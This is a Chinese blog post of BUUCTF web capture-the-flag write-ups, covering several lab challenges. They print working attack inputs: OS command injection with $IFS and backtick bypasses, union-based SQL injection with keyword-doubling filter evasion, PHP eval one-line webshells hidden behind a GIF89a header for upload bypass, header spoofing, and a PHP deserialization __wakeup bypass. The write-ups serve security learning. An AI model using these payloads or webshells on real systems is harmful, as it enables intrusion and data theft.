[BUUCTF]Web刷题记录
为提升观感体验,本篇博文长期更新,新题目以二次编辑形式附在最后
[ACTF2020 新生赛]Exec

打开后发现网页是关于执行一个ping指令,经过测试是直接执行的,所以就直接命令执行了
127.0.0.1 | cat /flag

总结一下常见的Linux管道符
|按位或,直接执行|后面的语句||逻辑或,如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&按位与,&前面和后面的都要执行,无论前面真假&&逻辑与,如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
[GXYCTF2019]Ping Ping Ping

打开可以看到很明显的提示,传参就是ip=,尝试传入/?ip=127.0.0.1,有回显,说明这是命令执行注入了,先用ls看看有什么文件
得到了一个f语言的回显,很明显空格会被过滤,所以我们尝试去掉空格
成功,下一步就开始考虑如何看到flag.php里面的内容,首先的问题就是如何绕过空格过滤,这里整理一下常见的空格过滤方法
\(IFS
\){IFS}
$IFS$1 //\(1改成\)加其他数字都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
尝试最后使用$IFS和$IFS$1都可以成功绕过,以此来cat一下/?ip=127.0.0.1|cat$IFSflag.php
emm看起来不太友好,看来flag关键词也被过滤了,那就先试试看index.php,使用\(IFS没有回显,尝试使用\)IFS$1,成功得到回显
现在思路清晰了,接下来就是考虑如何显示flag.php的问题了,我们可以尝试使用反引号内联执行的做法,linux下反引号里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令<br />`/?ip=127.0.0.1;cat$IFS`ls 
这时候查看源代码即可得到最终的flag
[极客大挑战 2019]LoveSQL

开屏一道SQL注入题目,先试试万能密码http://bbebaf1d-6128-4a49-9450-c1b729df9780.node4.buuoj.cn:81/check.php?username=admin' or '1'='1&password=1
md5解密失败,回到注入的思路上
/check.php?username=admin' order by 3%23&password=1
字段数为3时,回显正常,使用union查询回显点位
/check.php
?username=1' union select 1,2,3%23
&password=1

得到回显点位为2和3,查询数据库相关信息
/check.php?username=1' union select 1,database(),version()%23
&password=1

接着查询表名
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

可以得到如上两个表,接着爆破各个表的字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

两个表均为以上结果,接着爆破各个表的数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1


可以看到flag已经找到了,本题得解

[极客大挑战 2019]Knife
打开可以看到赫然显示着eval($_POST["Syc"]);,再根据题目Knife,明显是要用菜刀来解决,传参就是用Syc,因此打开蚁剑,尝试连接,成功
在根目录下找到了flag,本题得解
[极客大挑战 2019]Http
打开网页查看内容
要求必须用https://Sycsecret.buuoj.cn访问,因此传入bp,加上Referer:https://Sycsecret.buuoj.cn再次请求
还需要浏览器标识为Syclover,因此再加上User-Agent: Syclover
提示只能从本地访问,那么还需要再加上x-Forwarded-For:127.0.0.1,终于显示了flag,题目得解
[极客大挑战 2019]Upload
访问之后是一个文件上传的页面,接着就可以想到上传一句话木马进行控制
创建文件1.phtml,填写内容
<script language="php">eval($_POST['shell']);</script>
接着上传,用bp抓包修改文件类型为image/jpeg,上传失败,提示Do not lie me,怀疑是对图片内容有检测,因此在这之前再加上一部分
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传成功,接着猜测文件保存的位置,首先猜测路径为upload,那么打开蚁剑尝试一下,连接成功,在根目录下即可找到flag

[ACTF2020 新生赛]Upload
打开题目后发现还是一个上传问题,故猜测和上题解题思路一致,上传一句话木马提示只能上传图片格式,接着用开发者工具进行元素审查

可以看到这里调用了checkFile的js函数进行审查,所以审查元素将这部分删去,这里我直接删去了return false部分
测试,上传成功,蚁剑连接即可getshell
[极客大挑战 2019]BabySQL
打开一看,映入眼帘的和之前的那道SQL题目差别不大,上来先试万能密码,发现or用不了,遂再测试其他使用方法
/check.php?username=admin&password=1 %27 union select 1 %23

发现union和select被过滤了,再双写试一下
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到这里基本上这一步就稳了,接下来就是试列数,逐个递增尝试,最终在3处注入成功,得到了回显
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

接下来爆破数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
得到数据库为geek,接着尝试爆处所有的数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

在这里看到一个ctf的库比较可疑,进行爆破
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

找到一个flag表,接着爆破其中的字段
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23

再根据字段名flag爆数据
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

本题得解
[极客大挑战 2019]PHP
看到网页内部有提示网站备份,所以用dirsearch扫描一下网站目录,找到了www.zip,这就是我们需要的网站备份文件,直接下载打开后,在index.php里面找到了一段加载class.php文件的函数,然后用GET传递了一个select参数,随后将其反序列化
打开具体看class.php内容
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,因此我们构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
保存运行后得到反序列化
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们跳过__wakeup()转而执行__destruct
跳过__wakeup()
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数,因此我们修改反序列化内容
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
private
上述声明变量是private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
我们再次改造
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
测试
使用get请求把我们准备好的序列化当作select的参数传递过去
/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
成功得到flag,本题得解
[BUUCTF]Web刷题记录的更多相关文章
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- buuctf misc 刷题记录
1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...
- web刷题记录 极客大挑战2019Knife upload buy a flag
极客2019Knife webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理.服务器管理.权限管理等操作.使用方法简单,只需上传一个代码文件,通 ...
- BUGKU web刷题记录
web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...
- 刷题记录:[BUUCTF 2018]Online Tool
目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 刷题记录:[XNUCA2019Qualifier]EasyPHP
目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...
- 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System
目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...
随机推荐
- win电脑查看wifi密码的方法
1.使用电脑连接需要查看的WiFi,鼠标右击电脑桌面右下角[WiFi图标],在弹出的菜单中点击[打开"网络和internet"设置]. 2.在弹出的设置窗口中点击[网络和共享中心] ...
- mockjs 加上 json-server 快速生成前端数据
const mock = require('mockjs'); // 引入mockjs const data = mock.mock({ "data|20": [{ "i ...
- 通过Windows定时任务执行Python脚本给钉钉群发送消息
前提:已经存在有成功发送钉钉群机器人消息的python脚本,参考上一篇Python调用钉钉群机器人发送群消息 Windows定时任务设置 1.本机是Win7系统:控制面板->系统和安全-> ...
- vue-element-admin 安装运行失败
1.clone代码后 npm install,结果报错,如下: 解决方法: 在github中的添加新的ssh (生成ssh链接:https://blog.csdn.net/qq_35495339/ar ...
- ant design upload组件的beforeUpload阻止默认上传行为
const onImportExcel = (file) => { return new Promise(async (resolve, reject) => { ... //要执行的语句 ...
- java mysql截取所需数据
mysql截取数据: 例:截取门铺名称,门铺名称长度不确定 {"进店日期":"2022-09-01","电话":"1******* ...
- Android 自定义SeekBar (一)
一.前言 巩固自定义view基础用,本次尝试构建一个拖动条组件.代码参考于 https://github.com/woxingxiao/BubbleSeekBar ,精简其中高度可重用的部分,仅保留基 ...
- 掷骰子【普通线性DP】【转移方程可以优化为矩阵快速幂】
掷骰子 思路 可以先定义一个状态f[i] [j]: 前i个骰子,最后一个面是j的方法数, 肯定超时,然鹅可以混一些分,代码如下 for(int i=1;i<=6;i++) f[0][i]=1; ...
- Visual Studio 2022 离线包手动下载和清理
下载离线vsvs_Professional.exe --layout e:\vs2022 --all --includeRecommended --includeOptional --lang zh- ...
- nodejs 反单引号用法(·)
这个反单引号就是数字1旁边(~)下面的那个符号,平时用得很少,虽然单引号和双引号是使用较多的,但我们还有第三个方案,就是ES6中的模板字符串(反引号). 在nodejs中用反单引号(·)主要基于以下作 ...